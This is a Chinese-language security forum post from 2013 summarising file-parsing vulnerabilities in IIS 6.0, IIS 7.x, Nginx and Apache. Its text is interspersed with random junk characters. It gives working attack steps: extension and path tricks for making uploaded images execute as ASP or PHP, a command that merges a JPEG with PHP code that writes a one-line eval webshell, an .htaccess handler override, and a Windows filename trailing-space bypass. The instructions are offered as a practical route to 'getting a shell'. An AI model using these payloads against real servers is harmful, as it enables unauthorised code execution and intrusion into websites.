找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2542|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain* S& l3 y7 Q; F& Q  @+ p3 d0 \
[+]IIS6.0
, t6 N1 `4 y$ h% @4 K! c
* R- Y9 t  t( [" s. `% z  `4 W9 m5 @目录解析:/xx.asp/xx.jpg
5 ]$ }( K# i2 ^$ L. _& \ xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码3 f9 b% c$ v! Z, _
IIS6.0 会将 xx.jpg 解析为 asp 文件。: h6 B' n* q# [/ n2 t
后缀解析:/xx.asp;.jpg     5 w" b$ v7 ^. ~
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
4 z3 i% ^( W5 M, k8 k! B默认解析:/xx.asa$ J7 p1 C7 @! @& c. ~
         /xx.cer- D! D; j5 w- K( f% |, o& V: K* F$ C# X
         /xx.cdx
: C: T  Q) B! f; a9 X4 ^ IIS6.0 默认的可执行文件除了 asp 还包含这三种
: k+ N& u2 k0 v( n' ?+ y/ e" D- b 此处可联系利用目录解析漏洞
2 v- T8 K2 G" k" R: P5 [/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg+ Z$ @& _8 G' G* X2 W- {1 q9 J
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03& |( A/ \6 j. R% z, P7 z9 g. |5 t

1 V! S" y2 m( n) k& A/ E* u IIS 7.0/IIS 7.5/Nginx <0.8.033 n4 x+ ^' [" U; M2 W: z# }7 V
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面& o8 Y  f! x& W
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
+ W1 m/ O; y2 k 常用利用方法:
* W* C& t) ^# K 将一张图和一个写入后门代码的文本文件合并将恶意文本
/ o1 r# F9 ]6 x; |( m5 _, M 写入图片的二进制代码之后,避免破坏图片文件头和尾
9 P8 X, E8 Y) t. f 如:
! F# _( Q& U& a, M0 D2 d copy xx.jpg /b + yy.txt/a xy.jpg
6 G2 ]! \) @7 f' M #########################################################& \: u! |2 J1 [, ?
/b 即二进制[binary]模式
: g$ @. ]' j$ n* G8 B2 _ /a 即ascii模式
) O2 j4 N1 E% i xx.jpg 正常图片文件
) H$ v2 ~8 t* A" O+ H, ^ yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
2 s! ]. T7 q; M8 T7 l' v '<?php eval($_POST[cmd])?>');?>7 i- S2 W' i+ M- R3 K3 j
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称, a& Q( \) M' i( ~( _5 m* x
为shell.php的文件
8 V7 g3 d6 K4 v& ~ ###########################################################
2 o& G! O% `1 V' L0 M7 B 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php # X8 j, D$ I# \& g- O3 m
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
6 G( q) f. O; n5 ~ 密码 cmd. H5 G+ L2 U8 r, J, n  G6 d/ F
[+]Nginx <0.8.03' t1 E" v' Q3 O% V3 s7 @/ v
7 s, L7 p0 d/ r; [: b
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
0 V9 Y. ]8 [/ L# {1 y4 v 在一个文件路径(/xx.jpg)后面加上%00.php$ Y4 i4 Y- t; m4 f- l; y: Q( Z
会将 /xx.jpg%00.php 解析为 php 文件。
7 T2 d, t7 M9 v0 s[+]Apache<0.8.03
4 y2 |9 }& W2 g1 e , F2 C. ]6 N2 p1 \2 @9 F
后缀解析:test.php.x1.x2.x3
1 v/ r9 P1 o, ~4 E; Q# N6 x5 @ Apache将从右至左开始判断后缀,若x3非可识别后缀,
, L$ U( i) \9 c5 w4 F 再判断x2,直到找到可识别后缀为止,然后将该可识别) d# u* S( n2 h  Q( B
后缀进解析test.php.x1.x2.x3 则会被解析为php
$ A) C6 v# {/ y; [7 y! |2 K 经验之谈:php|php3|phtml 多可被Apache解析。! d( {$ {: Z( ]* c, z
[+]其他一些可利用的
5 X& D4 h2 j& r+ N) I1 r
9 Y7 K" j. ?0 R. `" V9 R在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
2 B/ V, \% _# y5 x5 w8 v. G若这样命名,windows会默认除去空格或点,这也是可以被利用的!0 q$ _0 q, n$ a: p5 G# ~
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
  A: t, s& U( V6 }. q或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
' H* [3 \6 e, Q# H3 c+ W) X3 w% f得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。$ g; k5 B8 E7 T0 N6 Q; d1 x
{Linux主机中不行,Linux允许这类文件存在}
6 M9 L) g4 {, o) O% s' s# R% y9 x如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说7 F2 j; K6 U3 K# ]6 ]2 t
的,当初我并不知道),且可以被上传,那可以尝试在
% X( C: C; N  h4 c5 S" Y* o.htaccess中写入:7 a% e" V- a3 j* f' h
<FilesMatch “shell.jpg”>
9 m  c! T, i; K4 @5 \SetHandler application/x-httpd-php
4 P& W7 t. k1 e: Y# b7 U. h$ F</FilesMatch>
/ G3 q4 x5 m3 }0 ~4 c1 o  w& n+ eshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件% t' I! H/ n' ~- S" y
[+]错误修改
, W3 j6 o: K( S2 g: @% V
% Q1 c; i3 ~( d- \1 V) W在 IIS 6.0 下可解析 /xx.asp:.jpg
1 t  {6 _7 _$ C: \9 \{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
2 k4 x; |# v( s, k. b剩下/xx.asp}修改:
' ^1 K$ y" Y$ J* l+ l9 y2 [先谢谢核攻击的提醒
5 ^1 m5 {+ X5 `% t0 Z当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp% s. E9 g% }1 b, K
里是没有任何内容的,因为。。不好解释 大家自己看8 d; ?! G% Y) T8 Y2 x3 ^* J8 `
http://lcx.cc/?i=2448" a# u  _3 h3 W1 E0 w6 f1 r+ a
http://baike.baidu.com/view/3619593.htm/ W' D$ g" ~& ^, j- _
. q' h9 k9 O& L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表